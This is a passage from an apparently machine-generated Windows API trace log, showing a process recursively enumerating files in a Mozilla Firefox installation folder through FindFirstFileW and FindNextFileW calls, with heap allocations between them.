ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xed7d339e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.982] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7ad166, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7ad166, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24cefb80, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x8f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualElements_150.png", cAlternateFileName="VISUAL~1.PNG")) returned 1 [0236.982] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7d339e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24cefb80, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x2f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualElements_70.png", cAlternateFileName="VISUAL~2.PNG")) returned 1 [0236.982] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7d339e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24cefb80, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x2f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualElements_70.png", cAlternateFileName="VISUAL~2.PNG")) returned 0 [0236.982] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0236.983] GetProcessHeap () returned 0xc10000 [0236.983] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0236.983] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece35df2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xed7d339e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 0 [0236.983] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0236.983] GetProcessHeap () returned 0xc10000 [0236.983] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0236.983] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec033d59, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec033d59, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe2ca280, ftLastWriteTime.dwHighDateTime=0x1d31cde, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="chrome.manifest", cAlternateFileName="CHROME~1.MAN")) returned 1 [0236.983] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec059fbc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec059fbc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x74b3bf80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x2edd0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="crashreporter.exe", cAlternateFileName="CRASHR~1.EXE")) returned 1 [0236.983] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec080216, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec080216, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x690ecb80, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0xfa3, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="crashreporter.ini", cAlternateFileName="CRASHR~1.INI")) returned 1 [0236.983] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec080216, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec080216, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x447ec0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="d3dcompiler_47.dll", cAlternateFileName="D3DCOM~1.DLL")) returned 1 [0236.983] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec080216, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc92398, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecc92398, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="defaults", cAlternateFileName="")) returned 1 [0236.983] GetProcessHeap () returned 0xc10000 [0236.983] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0236.983] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\defaults\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec080216, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc92398, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecc92398, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0236.985] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec080216, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc92398, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecc92398, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.985] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xeccb8639, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pref", cAlternateFileName="")) returned 1 [0236.985] GetProcessHeap () returned 0xc10000 [0236.985] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0236.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\defaults\\pref\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xeccb8639, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0236.986] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xeccb8639, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.986] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeccb8639, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5ea5ff00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="channel-prefs.js", cAlternateFileName="CHANNE~1.JS")) returned 1 [0236.986] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeccb8639, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5ea5ff00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="channel-prefs.js", cAlternateFileName="CHANNE~1.JS")) returned 0 [0236.986] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0236.986] GetProcessHeap () returned 0xc10000 [0236.986] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0236.986] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xeccb8639, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pref", cAlternateFileName="")) returned 0 [0236.986] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0236.986] GetProcessHeap () returned 0xc10000 [0236.986] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0236.986] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0a647c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0a647c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4504b780, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="dependentlibs.list", cAlternateFileName="DEPEND~1.LIS")) returned 1 [0236.988] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc92398, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecc92398, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0236.988] GetProcessHeap () returned 0xc10000 [0236.988] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0236.988] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\dictionaries\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc92398, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecc92398, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0236.988] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc92398, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecc92398, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.988] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc6c132, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc6c132, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x6b245a80, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0xc02, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.aff", cAlternateFileName="")) returned 1 [0236.988] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc92398, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x6b245a80, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x8ccfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.dic", cAlternateFileName="")) returned 1 [0236.988] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc92398, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x6b245a80, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x8ccfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.dic", cAlternateFileName="")) returned 0 [0236.989] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0236.989] GetProcessHeap () returned 0xc10000 [0236.989] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0236.989] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0cc6d9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x767d8300, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x7cdd0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="firefox.exe", cAlternateFileName="")) returned 1 [0236.989] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0f2926, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0f2926, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x25679200, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="firefox.VisualElementsManifest.xml", cAlternateFileName="FIREFO~1.XML")) returned 1 [0236.989] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec0f2926, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecbad561, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecbad561, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="fonts", cAlternateFileName="")) returned 1 [0236.989] GetProcessHeap () returned 0xc10000 [0236.989] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0236.989] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\fonts\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec0f2926, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecbad561, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecbad561, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0236.990] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec0f2926, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecbad561, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecbad561, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.993] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecbad561, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecbad561, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2d273680, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x12b9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmojiOneMozilla.ttf", cAlternateFileName="EMOJIO~1.TTF")) returned 1 [0236.993] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecbad561, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecbad561, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2d273680, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x12b9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmojiOneMozilla.ttf", cAlternateFileName="EMOJIO~1.TTF")) returned 0 [0236.993] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0236.993] GetProcessHeap () returned 0xc10000 [0236.993] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0236.993] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec118bb8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec118bb8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x77aeb000, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="freebl3.chk", cAlternateFileName="")) returned 1 [0236.993] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec118bb8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec118bb8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x77aeb000, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x6e9d0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="freebl3.dll", cAlternateFileName="")) returned 1 [0236.993] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecaee98b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecaee98b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="gmp-clearkey", cAlternateFileName="GMP-CL~1")) returned 1 [0236.993] GetProcessHeap () returned 0xc10000 [0236.993] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0236.993] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\gmp-clearkey\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecaee98b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecaee98b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0236.994] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecaee98b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecaee98b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.994] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecb87321, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.1", cAlternateFileName="")) returned 1 [0236.994] GetProcessHeap () returned 0xc10000 [0236.994] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0236.994] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\gmp-clearkey\\0.1\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecb87321, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0237.130] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecb87321, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.130] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecaee98b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9c0a8c80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x179d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clearkey.dll", cAlternateFileName="")) returned 1 [0237.132] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb87321, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdf163100, ftLastWriteTime.dwHighDateTime=0x1d31cdd, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0237.132] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb87321, 